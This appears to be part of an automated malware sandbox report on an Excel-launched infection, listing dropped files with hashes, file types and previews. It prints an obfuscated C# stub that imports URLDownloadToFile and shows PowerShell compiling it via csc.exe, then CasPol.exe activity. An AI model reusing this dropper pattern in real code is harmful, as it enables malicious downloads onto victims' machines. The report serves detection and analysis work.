                                                                                                                                                                Preview:....l...........0...%............K...8.. EMF........l.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&...'.......................%...........................................................L...d.......W...0...........W...1...T...!..............?...........?................................R...p...................................T.i.m.e.s. .N.e.w. .R.o.m.a.n...........................

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\73D457C5.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2351842
                                                                                                                                                                Entropy (8bit):3.465507143020907
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6144:+22B22B22t22J22J22J22622V22u22822Rwi7v2t22W2922O2O22r2r22422e22f:hsUfJ444Tg0g0gNsUfJ444Tg0g0gM
                                                                                                                                                                MD5:0FE86A63C62B7478BD1542945DB58A7F
                                                                                                                                                                SHA1:78C4D9A2A3525D2E0D634F5E8BED732BDD16847C
                                                                                                                                                                SHA-256:FAECC5D378189130757D69D053608EFF89AE8E46CA773305AF3EF2C838BA0207
                                                                                                                                                                SHA-512:98B6BEC2BF92027425C710776244FA562B69E2858FDCA303AB7137CAAF23CEE1393F5212155B4778BE0A2B7CA008DF841998F2F8F6F5C6F80E6332AC94494320
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....X...........A....................... EMF......#..................... ...X...........F...$.......GDIC........@.................................&...............Word..Microsoft Word............................................Courier New.......-................................@..Times New Roman.......-.....................................&.......................................C. .....#...............(.......#...............]7..]7......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\758E775F.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):591648
                                                                                                                                                                Entropy (8bit):2.3082558364276564
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:1536:hrYfIrWts4Myv05BgE8YE27f6cPtG7Mc/izMjVh:Nr+s4ME0wh
                                                                                                                                                                MD5:0085835A9F812794B771FBAF0F04A6BE
                                                                                                                                                                SHA1:4B7B69212A1ED3F10D7327AF9B0A1F4A5C398E53
                                                                                                                                                                SHA-256:559F83929E62E12E00F5A3BEA7006914569212C7CA452142B1844DFB46009274
                                                                                                                                                                SHA-512:6852420090DD276C6595005573482147312B7C4A85C12A8EF9A82141F3008FB1FF2C4BF6C95E44F14D515FFE7185263038EA431AB952FDCB69872529A348C852
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....l...........^...r...........QN...a.. EMF.... ...........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ACEA231B.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):5245540
                                                                                                                                                                Entropy (8bit):2.8300524177296125
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12288:Km6vmurYEozhngbQXg6FOEXvjDZ/ybuhVc3WWZEPB4V9GsYzVyYLZ9JnqABhphgY:/Z5N
                                                                                                                                                                MD5:5AF3250B7B9FF11B3D428C96FA6210C6
                                                                                                                                                                SHA1:6A564F4024D6FD7A8165BFA3054BC5C5200B79D0
                                                                                                                                                                SHA-256:46EF4BE8511882901BB4127D7050942D4EF6CA9C034F85967385F9847CAB594D
                                                                                                                                                                SHA-512:19363B20791B203CF91446990E2BD316D2AE7A41C6CD37A350F4C15EE8A41EDFD50A47F13AD514D1A720B74D6407E940F17BEB2FD71645867B56C9EB3BCFDACE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....l............................i...^.. EMF....d.P.$)..3...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................C..."...........!...................................................C..."...........!...................................................C..."...........!...................................................C..."...........!...................................................C...'.......................%...........................................................L...d...........w...p...........x...q...!..............?...........?................................'.......................%...........(.......................L...d.......p...]...........p...^...

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EC789069.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):146860
                                                                                                                                                                Entropy (8bit):2.796455595167375
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:YssSm/SacgbNk86RW7wRyFJgUiwJ6rvI9JxZKlEJfK1QVuIX0YTRJWgVTaI6mmpe:o6vmurYEozhngbQXg6FOEXvjDZ/ybuh9
                                                                                                                                                                MD5:DBE385F855DE00AC91E71C45E36EB343
                                                                                                                                                                SHA1:0FCD7FC4BFC0A231CCE5EFD51C47C88CF8935F99
                                                                                                                                                                SHA-256:0F05517138D391C679580AC33C248ED934E25E9D76958E730EDAE3605C2FBBD3
                                                                                                                                                                SHA-512:5DD425C4C71173160AB532B5DD1E3267157A8E03D1CCF34C1E0EA152002BEF44DC0A5FA1DABCC6D94D3924DD6DB13F348F529B82E52CD4E333F2392D4F177A5A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....l...............`............B...... EMF.....=..........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................a..."...........!...................................................a..."...........!...................................................a..."...........!...................................................a..."...........!...................................................a...'......................%..........................................................L...d...............:...............;...!..............?...........?................................'.......................%...........(.......................L...d.......:.......t.......:.......

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F56AE008.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):5245540
                                                                                                                                                                Entropy (8bit):2.8300524177296125
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12288:Km6vmurYEozhngbQXg6FOEXvjDZ/ybuhVc3WWZEPB4V9GsYzVyYLZ9JnqABhphgY:/Z5N
                                                                                                                                                                MD5:5AF3250B7B9FF11B3D428C96FA6210C6
                                                                                                                                                                SHA1:6A564F4024D6FD7A8165BFA3054BC5C5200B79D0
                                                                                                                                                                SHA-256:46EF4BE8511882901BB4127D7050942D4EF6CA9C034F85967385F9847CAB594D
                                                                                                                                                                SHA-512:19363B20791B203CF91446990E2BD316D2AE7A41C6CD37A350F4C15EE8A41EDFD50A47F13AD514D1A720B74D6407E940F17BEB2FD71645867B56C9EB3BCFDACE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....l............................i...^.. EMF....d.P.$)..3...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................C..."...........!...................................................C..."...........!...................................................C..."...........!...................................................C..."...........!...................................................C...'.......................%...........................................................L...d...........w...p...........x...q...!..............?...........?................................'.......................%...........(.......................L...d.......p...]...........p...^...

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.0.cs

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (350)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):471
                                                                                                                                                                Entropy (8bit):3.809357659772421
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:V/DsYLDS81zuMMbFMORQXReKJ8SRHy4H2RbzXKmjzYoR1ey:V/DTLDfuXWXfH6NXK2Bey
                                                                                                                                                                MD5:17E3854917D7959225064CE324D7F9CC
                                                                                                                                                                SHA1:42C10713ABBEAB9A1A2AE26328BBB0EC7332C06F
                                                                                                                                                                SHA-256:352F76B0D4F36B2240C57702DF1D74690C4AFCC9BC019BF61336CC79DF08434D
                                                                                                                                                                SHA-512:C6D0C22DB21735579C5687011A419CCAC8B0ADA8D1F756969A1DF7C69C4C6E89768396C377A913032506E7DE75D34772744F95419DA12E2A7100A2C686DD3B07
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.using System;.using System.Runtime.InteropServices;..namespace EraMYbSOvj.{. public class GVKVltV. {. [DllImport("URlmOn.dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr l,string nTEOw,string YaRahLhW,uint asoqNcP,IntPtr Wa);.. }..}.

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):369
                                                                                                                                                                Entropy (8bit):5.278955266257312
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fQOTqzxs7+AEszIP23fQOTh9n:p37Lvkmb6KzHmWZEoH19n
                                                                                                                                                                MD5:E76D314BF6C60EBF19D9267C0660913A
                                                                                                                                                                SHA1:A29C2DC7D751B95F0106BBA436A9BC78188C9C3A
                                                                                                                                                                SHA-256:61E9CD3A0EB040EC93360C7D5F07F423009F0D41F0DCBEEE5F085CBD73E03D32
                                                                                                                                                                SHA-512:3DD2581E2DA410E7A8730D35A598B00C79256768E4E70FD22C866755FEB583BAD637BA4770E2B5340C2BBAB39816AB947F4164617A7FFA30A0A838DF1FEB543E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.0.cs"

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.dll

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):3072
                                                                                                                                                                Entropy (8bit):2.831811031360588
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:6Iskr+PHs6hm7HMJ7/nbCZX1ulAIa3DHq:fiPHXh4hedK
                                                                                                                                                                MD5:35FCEEAA7FFB955F52A159CB50DACEBB
                                                                                                                                                                SHA1:4BD495BEE1ACE2371B116DF874D36FBE0D6EB042
                                                                                                                                                                SHA-256:731E54E05DA5790C78D3E5000F650F51642B4FFD65B0CB8E9A6C4BCE40E300FD
                                                                                                                                                                SHA-512:E027AF4B0561C9CA79A7323CF4813B1E79580A0D8DFCFED03393E45B30E129057B15D8BB72578CAA9498C54D28D484A6657632C2C2CECB03C33F6CE29E3459EC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?Hg...........!.................#... ...@....... ....................................@.................................\#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................:.3.....u.....u.......................................... A.....P ......S.........Y.....[.....a.....j.....r...S.....S...!.S.....S.......!.....*.......A.......................................*..........<Module>.10

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.out

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
                                                                                                                                                                Category:modified
                                                                                                                                                                Size (bytes):866
                                                                                                                                                                Entropy (8bit):5.355139321615005
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:AId3ka6KzXEoV9uKaMD5DqBVKVrdFAMBJTH:Akka60XEoV9uKdDcVKdBJj
                                                                                                                                                                MD5:C23EF60885EDC18C2A0BC1D0DFE8941B
                                                                                                                                                                SHA1:55D5701874D5D6EE11AAEFA50274F7B27EC37CC8
                                                                                                                                                                SHA-256:F6DEE3443AE42B8F6F60408F547D1E715B9CA391F8F08BC6F812EF3A156E3000
                                                                                                                                                                SHA-512:D291A957AA227B2C1F6B8DC0FB805B796D8D83257DA982D63ECA2CE33283BC2409586528087515B44BDD8D45CBA7E5C223088F01181AF498A5DE0D20F173F764
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                File Type:MSVC .res
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):652
                                                                                                                                                                Entropy (8bit):3.1123790470292203
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryeVGak7YnqqDVXPN5Dlq5J:+RI+ycuZhNAIakSDdPNnqX
                                                                                                                                                                MD5:43643C7ECDF42D034FA9766169536945
                                                                                                                                                                SHA1:45377F55773699BE646DF7E065BD7EC4345DA5DE
                                                                                                                                                                SHA-256:0AFAABF6A1D295375C03BA3251C411F29BF3BFB5F8C045C582B6E7974210A97E
                                                                                                                                                                SHA-512:BADE919120085887BD3374127FA1C4F2E5F0B0D5D1EECE21632B9E3194B73F2453A79724E15509D56E4F5D152DB07493A4EB9F124B8C7C1288900853D0C74A35
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.0.1.2.d.3.s.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...1.0.1.2.d.3.s.k...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1slkgf0e.m0t.psm1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1ww4j1q2.sko.ps1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\4cnsq1do.zke.ps1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\4nhl4idc.0et.psm1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\RES82B7.tmp

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Thu Nov 28 10:01:43 2024, 1st section name ".debug$S"
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1328
                                                                                                                                                                Entropy (8bit):3.9685227639202862
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:Hte9E2UNUlXdHdbWwKdNWI+ycuZhNAIakSDdPNnqSqd:RN8t9b1Kd41ulAIa3DHqSK
                                                                                                                                                                MD5:6265045ABA1F1668090FE1BD881E4924
                                                                                                                                                                SHA1:B4533FFFD22456A2D01029D848D675FED535BF1D
                                                                                                                                                                SHA-256:92FDC2F762FB4294D12FCC6AF76176D54B7611F7E8AD49ADB4EA938A4C8AE438
                                                                                                                                                                SHA-512:5A788BA7D1B50E6EC02359B407EE87792B986F5EEF5FFFC08CAAEAD11C0AD5074BD9189745D2F2F038F1E080ADC971C328C4DD1D89243247E10AEFFA9DB360CA
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:L....?Hg.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP...............Cd<~..-.O.vaiSiE..........4.......C:\Users\user\AppData\Local\Temp\RES82B7.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.0.1.2.d.3.s.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\RESAA05.tmp

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Thu Nov 28 10:01:53 2024, 1st section name ".debug$S"
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1328
                                                                                                                                                                Entropy (8bit):3.9708324728168978
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:HHe9Eur6VS0dHt6mWwKdNWI+ycuZhN6akSSPNnqSqd:+r4311Kd41ul6a3+qSK
                                                                                                                                                                MD5:3697B1A0AF275C0DAF561254489C7954
                                                                                                                                                                SHA1:28C3530C19C4E0FD89CFB19EE6931098E2A9B535
                                                                                                                                                                SHA-256:6889CCE32327D30729307C32B5A7B17A4F2AFB8CA07AEAA165D059A8FD68609A
                                                                                                                                                                SHA-512:1BFFE542065866203825F19C3AB243F01083CE4ED7EC716B3338DE6DC311FC0516E658CACC40152F6442D1C8BDED3600626B7ECE5ED9ED4725E1C1646EA24E34
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:L....?Hg.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP................}i..t.B..4h.j.7...........4.......C:\Users\user\AppData\Local\Temp\RESAA05.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.e.r.q.o.b.k.y...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\bhv1B0F.tmp

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                File Type:Extensible storage engine DataBase, version 0x620, checksum 0x2588041f, page size 32768, DirtyShutdown, Windows version 6.1
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):21037056
                                                                                                                                                                Entropy (8bit):1.1360821935225422
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24576:g91U91o2I+0mZ5lEHLcGaHqqnEXwPtofJIRH330nW/jMB1emX4UJlNd:g9EXaLuHqqEXwPW+RHA6m1fN
                                                                                                                                                                MD5:9A33051F5E55D8A2070B8FE4B95921FC
                                                                                                                                                                SHA1:24D4978A38981CFBB7DD7EC42F3D6C9A6100919D
                                                                                                                                                                SHA-256:DE998CD03DA944FCD420D0C669E42B805C0FE62D8D089BB862FF9B057C865052
                                                                                                                                                                SHA-512:54E4C54A637584ED5665D50115E3D2F9227F0D2814DDF44AD25F17508CB5FB5E0EA971C6B9A6D78EF979AC34275505E21BCABB2D2B441AD36FF79C62019F8188
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:%...... ........................u..............................;:...{.......|.......................................u..............................................................................................+............................................................................................................................... .......4....{......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\dodzq0un.nt5.ps1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\mkrbfyryejtjdkianmbpxiuuhuj

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2
                                                                                                                                                                Entropy (8bit):1.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Qn:Qn
                                                                                                                                                                MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                                                                                                SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                                                                                                SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                                                                                                SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\n5c0f1co.0yb.ps1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
